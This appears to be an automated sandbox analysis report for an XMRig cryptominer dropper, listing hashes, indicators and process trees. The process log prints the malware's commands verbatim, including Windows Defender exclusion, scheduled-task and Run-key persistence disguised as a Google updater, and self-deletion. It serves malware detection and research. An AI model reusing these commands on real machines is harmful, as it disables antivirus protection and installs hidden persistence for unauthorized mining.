Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
230s -
max time network
892s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240729-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240729-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241023-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20241010-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1268 created 1192 1268 qM5GMXBk6hJE6Y5e (30).exe 20 PID 1268 created 1192 1268 qM5GMXBk6hJE6Y5e (30).exe 20 PID 1268 created 1192 1268 qM5GMXBk6hJE6Y5e (30).exe 20 PID 1268 created 1192 1268 qM5GMXBk6hJE6Y5e (30).exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 1708 created 1192 1708 conhost.exe 20 PID 564 created 1192 564 updater.exe 20 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral31/memory/2372-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2372-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2052 powershell.exe 2036 powershell.exe 2944 powershell.exe 1728 powershell.exe -
Deletes itself 1 IoCs
pid Process 2820 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 564 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2544 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 564 set thread context of 1708 564 updater.exe 47 PID 564 set thread context of 2372 564 updater.exe 53 -
resource yara_rule behavioral31/memory/2372-41-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2372-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (30).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1228 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 701141e3a57cdb01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2932 schtasks.exe 2996 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1268 qM5GMXBk6hJE6Y5e (30).exe 1268 qM5GMXBk6hJE6Y5e (30).exe 2052 powershell.exe 1268 qM5GMXBk6hJE6Y5e (30).exe 1268 qM5GMXBk6hJE6Y5e (30).exe 2944 powershell.exe 1268 qM5GMXBk6hJE6Y5e (30).exe 1268 qM5GMXBk6hJE6Y5e (30).exe 1268 qM5GMXBk6hJE6Y5e (30).exe 1268 qM5GMXBk6hJE6Y5e (30).exe 536 powershell.exe 564 updater.exe 564 updater.exe 2036 powershell.exe 564 updater.exe 564 updater.exe 1728 powershell.exe 564 updater.exe 564 updater.exe 564 updater.exe 564 updater.exe 1708 conhost.exe 1708 conhost.exe 564 updater.exe 564 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2052 powershell.exe Token: SeDebugPrivilege 2944 powershell.exe Token: SeDebugPrivilege 536 powershell.exe Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 1728 powershell.exe Token: SeDebugPrivilege 564 updater.exe Token: SeAssignPrimaryTokenPrivilege 1228 WMIC.exe Token: SeIncreaseQuotaPrivilege 1228 WMIC.exe Token: SeSecurityPrivilege 1228 WMIC.exe Token: SeTakeOwnershipPrivilege 1228 WMIC.exe Token: SeLoadDriverPrivilege 1228 WMIC.exe Token: SeSystemtimePrivilege 1228 WMIC.exe Token: SeBackupPrivilege 1228 WMIC.exe Token: SeRestorePrivilege 1228 WMIC.exe Token: SeShutdownPrivilege 1228 WMIC.exe Token: SeSystemEnvironmentPrivilege 1228 WMIC.exe Token: SeUndockPrivilege 1228 WMIC.exe Token: SeManageVolumePrivilege 1228 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1228 WMIC.exe Token: SeIncreaseQuotaPrivilege 1228 WMIC.exe Token: SeSecurityPrivilege 1228 WMIC.exe Token: SeTakeOwnershipPrivilege 1228 WMIC.exe Token: SeLoadDriverPrivilege 1228 WMIC.exe Token: SeSystemtimePrivilege 1228 WMIC.exe Token: SeBackupPrivilege 1228 WMIC.exe Token: SeRestorePrivilege 1228 WMIC.exe Token: SeShutdownPrivilege 1228 WMIC.exe Token: SeSystemEnvironmentPrivilege 1228 WMIC.exe Token: SeUndockPrivilege 1228 WMIC.exe Token: SeManageVolumePrivilege 1228 WMIC.exe Token: SeLockMemoryPrivilege 2372 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2944 wrote to memory of 2932 2944 powershell.exe 33 PID 2944 wrote to memory of 2932 2944 powershell.exe 33 PID 2944 wrote to memory of 2932 2944 powershell.exe 33 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 536 wrote to memory of 2184 536 powershell.exe 39 PID 536 wrote to memory of 2184 536 powershell.exe 39 PID 536 wrote to memory of 2184 536 powershell.exe 39 PID 2544 wrote to memory of 564 2544 taskeng.exe 41 PID 2544 wrote to memory of 564 2544 taskeng.exe 41 PID 2544 wrote to memory of 564 2544 taskeng.exe 41 PID 1728 wrote to memory of 2996 1728 powershell.exe 46 PID 1728 wrote to memory of 2996 1728 powershell.exe 46 PID 1728 wrote to memory of 2996 1728 powershell.exe 46 PID 564 wrote to memory of 1708 564 updater.exe 47 PID 760 wrote to memory of 1228 760 cmd.exe 52 PID 760 wrote to memory of 1228 760 cmd.exe 52 PID 760 wrote to memory of 1228 760 cmd.exe 52 PID 564 wrote to memory of 2372 564 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1192
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1268
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2184
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2900
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2996
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1708
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2472
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1228
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\system32\taskeng.exetaskeng.exe {3B459E99-3EE5-428D-83B8-F3E82BDCC667} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5220db1d7ab0a38e42328e347e763fe23
SHA118b263da7ce243ca29ac72fb4f9df46e999a92f0
SHA256f975f64ac1a6777d739c477de0b7335dce55153e28c5b60f77f5440f980a3ab3
SHA512f1f89f0b961ca0788849e0fc9b9ad18bd6f26517be2537b413f277f3aa9bcf191f6ce939221725dc3babc96891acebf62e115d5c2ea9dc5d7f1d85f0d7ab1446